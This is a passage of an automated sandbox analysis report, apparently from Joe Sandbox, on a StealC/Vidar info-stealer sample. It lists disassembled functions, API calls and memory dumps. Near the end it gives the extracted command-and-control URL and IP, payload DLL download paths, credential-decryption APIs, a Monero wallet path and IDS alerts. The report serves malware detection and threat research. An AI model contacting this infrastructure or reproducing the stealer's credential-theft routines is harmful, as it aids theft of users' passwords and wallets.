Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: b74dd7682f37c4269f53047d18a3653b2cf843808b86292540acdd44d4ea4107
Instruction ID: 909314bd54b1ba02b0b71445b3b8865de2c5a1069466442e4d12b4999067f349
Opcode Fuzzy Hash: b74dd7682f37c4269f53047d18a3653b2cf843808b86292540acdd44d4ea4107
Instruction Fuzzy Hash: 0A315CB1C00218AADB19EB90DC95BDD77B8EF44300F4061AAF21977281DFB46B89CF59

Function 00ED87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E28,00000000,?), ref: 00ED882F
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8836
wsprintfA.USER32 ref: 00ED8850

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

%dx%d, xrefs: 00ED8847

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 53bfc8a282d79d79ded03fff078166cf34ce1054bdb442a9e5088a995773c64b
Instruction ID: 0a0e85ebe6c3c94e34cacf0923c8b0ddeeb32636b7dd1a29fce024062247b81e
Opcode Fuzzy Hash: 53bfc8a282d79d79ded03fff078166cf34ce1054bdb442a9e5088a995773c64b
Instruction Fuzzy Hash: E12121B1E40308AFDB14DF94ED45FAEBBB8FB48711F104119F515A7284C7B999418BA0

Function 00ED8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00ED951E,00000000), ref: 00ED8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8D62
wsprintfW.USER32 ref: 00ED8D78

Strings

%hs, xrefs: 00ED8D6F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: b8b0b3e67c1305d2b76b62db1a497ef3cc71a7b0aa325f7b74b5b98991828ae5
Instruction ID: 0857ac896f60b45ccfef596644b56022827b6fd9e38a5ff7aec10224574e516c
Opcode Fuzzy Hash: b8b0b3e67c1305d2b76b62db1a497ef3cc71a7b0aa325f7b74b5b98991828ae5
Instruction Fuzzy Hash: 66E08670E4030CBBC714DB94E809E5977B8EF04702F004065FD0997240D9B15E408B55

Function 00ECD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,00A9A900,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECD481
lstrlen.KERNEL32(00000000), ref: 00ECD698
lstrlen.KERNEL32(00000000), ref: 00ECD6AC
DeleteFileA.KERNEL32(00000000), ref: 00ECD72B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 57f126fd74c5e73f7ea1ad31d67edcd5b196bd82111c674b370ee947665e08fa
Instruction ID: 212d79abbaf25b732d6050a2e06c77ab2a42da3895f5f725dceb634e003adf56
Opcode Fuzzy Hash: 57f126fd74c5e73f7ea1ad31d67edcd5b196bd82111c674b370ee947665e08fa
Instruction Fuzzy Hash: 9D914F768101089ACB08FBA0DD96EEE7378EF54300F44517AF417B2291EF746B4ADB66

Function 00ED3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: a867ce30521605b9ef954b3da6c786a56e3ed380d3195f3d70868f8ad1435529
Instruction ID: df85a4c0d6135e13eb02b3ec62cc819eca79860ad73eec40c24911913339505e
Opcode Fuzzy Hash: a867ce30521605b9ef954b3da6c786a56e3ed380d3195f3d70868f8ad1435529
Instruction Fuzzy Hash: AB414F75D10209AFCB04EFA5D845AEEB7B4EF44304F04902AE41677390DB75AB46CFA2

Function 00ED94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00ED94EB

Part of subcall function 00ED8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00ED951E,00000000), ref: 00ED8D5B
Part of subcall function 00ED8D50: RtlAllocateHeap.NTDLL(00000000), ref: 00ED8D62
Part of subcall function 00ED8D50: wsprintfW.USER32 ref: 00ED8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00ED95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00ED95C9
CloseHandle.KERNEL32(00000000), ref: 00ED95D6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 1a3f0d393cfecd51d7bbcab8bd45c42bc7a2db1136f1ec84bc0718bfc760bcdb
Instruction ID: 42c8a5119befa2acba33d04971cbe5506b74862dfb32400ac42073113103f767
Opcode Fuzzy Hash: 1a3f0d393cfecd51d7bbcab8bd45c42bc7a2db1136f1ec84bc0718bfc760bcdb
Instruction Fuzzy Hash: C8313E71E003089FDB15DBE0DD49BEDB7B8EF44300F10546AE506AB288DBB49A86CB51

Function 00EDC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EDC74E

Part of subcall function 00EDBF9F: __amsg_exit.LIBCMT ref: 00EDBFAF

__getptd.LIBCMT ref: 00EDC765
__amsg_exit.LIBCMT ref: 00EDC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00EDC797

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 56de016301ca9677f038b97fa7ea0548783fe265edf95e4b9c4e951dd0888db0
Instruction ID: c1378bcf0ee1c27e4fb36f779a32a548cf433f0aace2bcc17b87d3f3312c1b0c
Opcode Fuzzy Hash: 56de016301ca9677f038b97fa7ea0548783fe265edf95e4b9c4e951dd0888db0
Instruction Fuzzy Hash: 9FF0F032A00306DBDB20BBB8884274E33E0EF00764F35214BF014BA3D2EB245943CE46

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.ec0000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.ec0000.1.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phption:	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpe	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpa	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpR	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllO	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dlle	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllk	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/1	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00EC9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00ECC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00EC9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00EC7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00ED8EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
